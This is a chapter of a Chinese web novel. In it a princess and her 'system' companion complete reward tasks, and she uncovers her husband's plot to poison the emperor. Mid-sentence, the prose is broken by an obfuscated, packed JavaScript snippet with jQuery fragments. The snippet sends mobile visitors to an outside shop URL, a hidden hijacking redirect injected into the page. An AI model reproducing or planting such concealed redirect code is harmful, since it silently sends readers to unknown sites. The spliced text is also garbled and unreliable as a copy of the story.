小寒已过,街头巷口都铺满了厚厚的雪,几位身着各式各样厚袄的人们在自家门口扫出一条道。
侯府也不例外,下人们都倒腾着过冬用品,还时不时“路过”从来不敢靠近的东厢房,试图偷听一些动静。
然而这些举动都被“爱情保安”拾幺拦下,当然也不是她有多正义,而是因为——
宿主在做任务。
拾幺裹着袄裙在廊下自我拥抱,搓了搓手掌,猛地想起来自己是系统,压根不怕冷,她索性立正站好,严肃等待宿主完成任务。
熟悉人类世界太久,都忘了自己压根不是人类了,这样……真的好吗?
拾幺想着,又觉得自己和人类一样多愁善感了,没等她多想,身后的门终于开了。
满脸异常红润的阳钰出来了,还心虚地把身后的门带上,拉着拾幺逃跑似的离开让她满脑子“黄色废料”的旖旎之地。
踏着雪,二人小跑回西院。
拾幺翻了个白眼,“不知道的还以为你金屋藏娇呢,你夫君今天怎么没出来送?按照之前惯例你们应该要在门口再腻歪一会儿的。”
阳钰戳了戳手指,“他今天公务繁忙,我没好意思让他出来。”
“不就做个牵手十秒的任务吗?你俩都开过荤了还这么纯……”
没等拾幺把虎狼之词说完,阳钰就赶紧捂住了她的嘴,语无伦次道:“光天化日的你你你别又瞎说!”
拾幺不服气道:“那你俩还光天化日的在东厢房里面……”
“停之停之!”阳钰再次打断,无奈道:“咳咳,败给你了,快播报任务成功。”
拾幺机械音道:“恭喜宿主签到成功!成功获得5天寿命和20积分,现剩余寿命15天,总积分280。”
玩归玩,闹归闹,她对自家宿主还是非常欣慰的,“这几天你俩到处腻歪也算有点价值,给你刷了好多寿命和积分。”
“那当然~”阳钰趾高气昂,“何止是‘有点’?明明是很多好吗!我预计只差一个任务就能攒满积分啦~”
紧接着,她搓了搓手掌心,“任务刷新了吗?快让我抽签。”
拾幺抽了抽嘴角,“真是头一次见你这么积极。”
阳钰麻溜地接过抽签筒,利落地手动抽出一根竹签——
【上签】即刻起在宫内达成十万步数。奖励5天寿命和20积分。
多……多少步?!
阳钰简直不敢相信自己的眼睛,“十万步?!要我老命啊!”
“走走路就当锻炼身体了,更何况这任务可以累计,你慢慢做呗。”拾幺拿来竹签,熟练解签,“运势小吉,还可以。”
阳钰撇了撇嘴,“那我得往宫里跑多少回啊……”
·
从那天起,阳钰每天下午都在宫里闲逛刷步数,因为任务周期比较长,所以没带拾幺,不过呢,她还有位“冷脸保镖”。
“冷脸保镖”也不是一直冷脸,至少在看向她的时候满眼柔情。
阳钰总会被他盯得不好意思,“筠清,我知道你也不想进宫,其实你不用陪我来的。”
秋则辛紧握十指相扣的手,“不会,我自愿,何况陪着夫人永远不会觉得腻。”
阳钰红了脸,忽然觉得脚下的路有点眼熟,抬头一看果然是前往东宫的路,她道:“我们去找太子哥哥玩吧?”
她提议着,往这个方向继续走,浑然不觉身边人脸色一沉,还自顾自道:“不知道太子哥哥现在忙不忙,听说皇帝自从上次后又久病不起,太子哥哥一直在代理朝政……”
“夫人很关心他么?”秋则辛冷不丁道。
阳钰自然道:“当然啦,毕竟他是我哥呀。”
秋则辛淡淡道:“又不是亲的。”
“嘶,虽然没有血缘关系,但胜似亲生。”阳钰自说自话,“太子大哥给我的感觉就是心目中哥哥的模样,昶王二哥就差点意思……”
“那我呢?”秋则辛冷冷打断。
“你……你也想当我哥?”
阳钰话音刚落,秋则辛的脸色又一沉。
偏偏阳钰还在说:“你跟我同年同月同日生,要不是因为我是孤儿不知道具体时辰,不然高低得和你比谁岁数大……”
她还没说完,手臂一弯就被强制轻拽进一个温凉的怀抱。
秋则辛垂眸看着她,又心疼又不悦,道:“夫人一定要在我面前夸别的男人么?”
“嗯?我什么时候夸……”阳钰顿了顿,这才仔细观察他的神情,瞬间懂了,两眼一眯,“你……吃醋了?”
秋则辛抿了抿双唇,“夫人好生迟钝,和那话本子里的书生一样。”
阳钰忍俊不禁,“你怎么还记得那篇话本子呢?”
“和夫人有关的回忆我都不会忘却。”
如此直白的话惹得阳钰的心脏砰砰直跳,不过她很受用就是了。
·
东宫正殿,原是讨论正事的地儿,此刻的桌案上却摆着一副金片扑克牌,上面还刻着繁复的花纹字样。
“钰儿总能弄来些新奇玩物。”池知序笑道。
“嘿嘿~”
阳钰把牌一张张排列在桌面上,嬉笑着讲解“斗地主”规则。
试玩下来,见两人也都熟悉了,阳钰便宣布对决正式开始,输的人要说真心话,她可是有运势加成,天然优势啊,肯定得玩点大的。
几轮玩完,秋则辛“被迫”对阳钰说了许多情话,始作俑者阳钰倒是听得脸红心跳的,池知序在一旁笑而不语。
这一轮,池知序是“地主”,被这对夫妻档连番“炸弹”,手牌只剩一张“3”,只好甘拜下风。
阳钰接过提问机会,她正好有个憋在心里很久的问题,确定四下无人,她小声道:“皇兄,你为啥会加入‘谋逆计划’呢?”
见二人的目光集聚在她身上,她赶紧补充:“我就是单纯问问!你不回答也行。”
池知序沉思片刻,把手里的扑克牌“3”捏紧又放下,“我……并不想要皇位。”
“什么?!”
皇帝都不想当?!
阳钰大为震惊,但仔细想想人家估计有什么苦衷,便没多问。
秋则辛摩挲着手里的“王炸”牌,低吟:“想坐上这个位子的人太多……”
“也包括你?”阳钰撑着下巴看向他。
秋则辛与她对视着,笑意直达眼底,“包括我。”
阳钰索性开门见山道:“所以你一直在给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688519|202575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那位下药吗?”
秋则辛忽然不敢看她,诚实道:“是。慢性毒药。”
说着,他翻弄着手里的扑克牌,试探道:“夫人……会阻止我么?”
阳钰愣了一下,为难道:“我只是希望你不会受伤,这种行动太危险,你每次都弄一身伤回来。”
秋则辛固执道:“可……夫人不想成为万人之上么?”
“我不想。”阳钰斩钉截铁道,“我只要身边人平平安安就好。”
秋则辛回握她的手,心底不禁有些动摇。
池知序看着这两人如此坦诚相待,不由得莞尔一笑,想起肩上的重担,他又不自觉黯淡下去。
他不太想失去这位“盟友”。
·
秋则辛与池知序似乎有别的事要谈,阳钰也不太感兴趣,便找借口出来继续做任务。
步数刷着刷着,她猛然发现一个问题——
迷路了。
拐了几个陌生的弯,阳钰懊恼不已。
靠!早知道就把拾幺带着了!
实在找不着北了,阳钰叫住一位小宫女,问道:“您好您好,请问……”
小宫女连忙下跪,“奴婢拜见公主殿下!公主……”
阳钰赶紧把她扶起来,“哎哟不用行礼,你就跟我说这里是哪个宫殿?”
小宫女嗫嚅道:“回公主殿下,这里是冷宫,实在不吉利,您绕道走罢。”
哦?冷宫?怪不得阴气重重的。
阳钰正要请求小宫女帮忙带带路,却陡然顿住,她发现不远处有位男子站在冷宫旁的槐树下。
男子身披一件狐裘大氅,手里还握着一只小小的酒壶,微微弯腰,把酒慢慢浇在树根处,慢到仿佛在和槐树诉说着什么心事。
随后他转过身,阳钰这才认出来,三皇子宫缡,在中秋宴上见过。
宫缡的五官与池知序有五分相似,眉眼同样微微弯着,嘴角挂着一抹弧度。
可阳钰却觉得这笑和池知序截然不同,像是戴了副面具。
宫缡让随行的下人收起酒壶,不紧不慢地走到她面前,笑意又深了几分,“原来是皇妹,真是稀客。”
阳钰行了个礼,“见过三……三哥,我只是有点迷路。”
“皇妹是要去找太子殿下?”
“对。”
“正巧我顺路,可以带皇妹一程。”
“嗯……也行。”
二人沿着宫里扫过雪的大道走着,几个宫女太监远远在后头跟着。
宫缡走得缓慢,步伐悠闲,不经意道:“听说前段时日筠清侯去边境监军了,皇妹不曾担忧?”
担心肯定是很担心的,但阳钰莫名觉得他话里有话,索性道:“三哥有话不妨直说。”
宫缡笑道:“筠清侯年少成名,文武兼备,宫里宫外不知多少双眼睛眼巴巴盯着,如今你们二人大婚才快到半年,等过了这阵子新鲜劲儿,若是筠清侯往府里添几个侧夫人……”
“停,打住。”阳钰的第六感告诉她与此人相处不太舒服,便不再客气,“我与侯爷的家事,就不劳三哥费心了。”
听出她话里的疏离之意,宫缡预料到了,转而道:“说起来,皇妹觉得……太子殿下如何?”